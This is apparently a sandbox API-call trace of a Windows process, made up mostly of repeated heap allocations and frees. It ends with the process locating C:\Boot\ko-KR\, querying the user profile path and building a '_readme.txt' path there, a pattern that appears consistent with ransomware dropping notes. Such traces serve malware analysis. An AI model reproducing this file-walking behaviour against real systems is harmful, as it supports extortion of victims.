[0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.576] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.578] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.578] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.578] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.578] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.578] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.578] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.578] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.578] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.578] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.582] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.582] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.582] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.582] PathFindFileNameW (pszPath="") returned="" [0124.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.583] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.583] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.583] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.583] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.583] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.583] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.583] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.583] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0124.583] 